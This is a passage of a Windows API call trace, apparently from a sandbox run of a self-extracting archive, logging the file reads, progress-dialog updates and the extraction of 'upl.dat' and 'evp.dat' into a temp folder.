[0068.426] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.426] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.426] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.426] GetTickCount () returned 0x1fb9c [0068.426] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.426] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.426] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.426] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.426] GetTickCount () returned 0x1fb9c [0068.426] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.426] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.426] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.426] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.426] GetTickCount () returned 0x1fb9c [0068.426] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.426] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.426] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.426] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.426] GetTickCount () returned 0x1fb9c [0068.426] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.426] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.426] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.427] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.427] GetTickCount () returned 0x1fb9c [0068.427] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.427] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.427] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.427] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.427] GetTickCount () returned 0x1fb9c [0068.427] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.427] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.427] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.427] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.427] GetTickCount () returned 0x1fb9c [0068.427] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.427] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.427] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.427] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.427] GetTickCount () returned 0x1fb9c [0068.427] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.427] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.427] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.427] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.427] GetTickCount () returned 0x1fb9c [0068.427] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.427] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.427] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.427] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.427] GetTickCount () returned 0x1fb9c [0068.427] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.427] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.427] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.427] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.427] GetTickCount () returned 0x1fb9c [0068.427] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.427] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.427] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.427] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.427] GetTickCount () returned 0x1fb9c [0068.428] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.428] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.428] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.428] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.428] GetTickCount () returned 0x1fb9c [0068.428] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.428] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.428] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.428] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.428] GetTickCount () returned 0x1fb9c [0068.428] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.428] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x1f9, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x1f9, lpOverlapped=0x0) returned 1 [0068.429] GetTickCount () returned 0x1fb9c [0068.429] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.429] SetFilePointer (in: hFile=0x1c, lDistanceToMove=871725, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd4d2d [0068.429] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.429] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.429] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.429] CloseHandle (hObject=0x138) returned 1 [0068.430] SetFileAttributesA (lpFileName="upl.dat", dwFileAttributes=0x20) returned 1 [0068.430] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd4d2d [0068.430] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.430] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.431] OemToCharA (in: pSrc="evp.dat", pDst=0x179cc0 | out: pDst="evp.dat") returned 1 [0068.431] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="evp.dat", cchCount2=1) returned 1 [0068.431] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="evp.dat", cchCount2=6) returned 1 [0068.431] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="evp.dat", cchCount2=-1) returned 1 [0068.431] SetFilePointer (in: hFile=0x1c, lDistanceToMove=871769, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd4d59 [0068.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="evp.dat") returned 8 [0068.431] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x41a6b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.431] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting evp.dat") returned 18 [0068.431] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting evp.dat") returned 1 [0068.431] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.431] OemToCharBuffA (in: lpszSrc="e", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="e") returned 1 [0068.431] CharToOemBuffA (in: lpszSrc="E", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="E") returned 1 [0068.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="evp.dat") returned 8 [0068.431] FindFirstFileW (in: lpFileName="evp.dat", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.431] GetLastError () returned 0x2 [0068.431] GetFileAttributesA (lpFileName="evp.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\evp.dat")) returned 0xffffffff [0068.431] CreateFileA (lpFileName="evp.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\evp.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.436] GetFileType (hFile=0x138) returned 0x1 [0068.436] SetFilePointer (in: hFile=0x138, lDistanceToMove=532, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x214 [0068.436] SetEndOfFile (hFile=0x138) returned 1 [0068.436] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.436] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1b0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1b0, lpOverlapped=0x0) returned 1 [0068.436] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.436] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.436] GetTickCount () returned 0x1fb9c [0068.436] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.450] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.450] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.450] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 1 [0068.450] GetMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x17154c) returned 1 [0068.450] TranslateMessage (lpMsg=0x17154c) returned 0 [0068.450] DispatchMessageW (lpMsg=0x17154c) returned 0x0 [0068.450] GetTickCount () returned 0x1fbac [0068.451] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.451] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.451] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.451] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.451] GetTickCount () returned 0x1fbac [0068.451] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.451] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.451] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.451] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.451] GetTickCount () returned 0x1fbac [0068.451] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.451] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.451] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.451] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.451] GetTickCount () returned 0x1fbac [0068.451] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.451] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.451] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.451] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.451] GetTickCount () returned 0x1fbac [0068.451] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.451] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.451] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.451] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.451] GetTickCount () returned 0x1fbac [0068.451] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.451] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.451] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.451] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.451] GetTickCount () returned 0x1fbac [0068.451] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.451] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.451] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.451] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.451] GetTickCount () returned 0x1fbac [0068.451] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.451] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.451] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.451] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.451] GetTickCount () returned 0x1fbac [0068.451] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.451] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.451] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.451] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.451] GetTickCount () returned 0x1fbac [0068.451] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.451] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.451] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.452] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.452] GetTickCount () returned 0x1fbac [0068.452] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.452] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.452] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.452] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.452] GetTickCount () returned 0x1fbac [0068.452] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.452] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.452] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.452] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.452] GetTickCount () returned 0x1fbac [0068.452] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.452] ReadFile (in: hFile=0x1c, lpBuffer=0x270438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270438*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.452] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.452] PeekMessageW (in: 